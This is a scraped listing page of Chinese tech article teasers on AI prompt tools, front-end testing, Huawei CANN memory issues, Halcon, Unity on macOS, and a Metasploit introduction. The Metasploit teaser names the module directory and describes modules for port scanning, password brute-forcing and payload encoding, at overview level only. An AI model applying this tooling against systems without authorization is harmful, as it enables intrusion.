    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more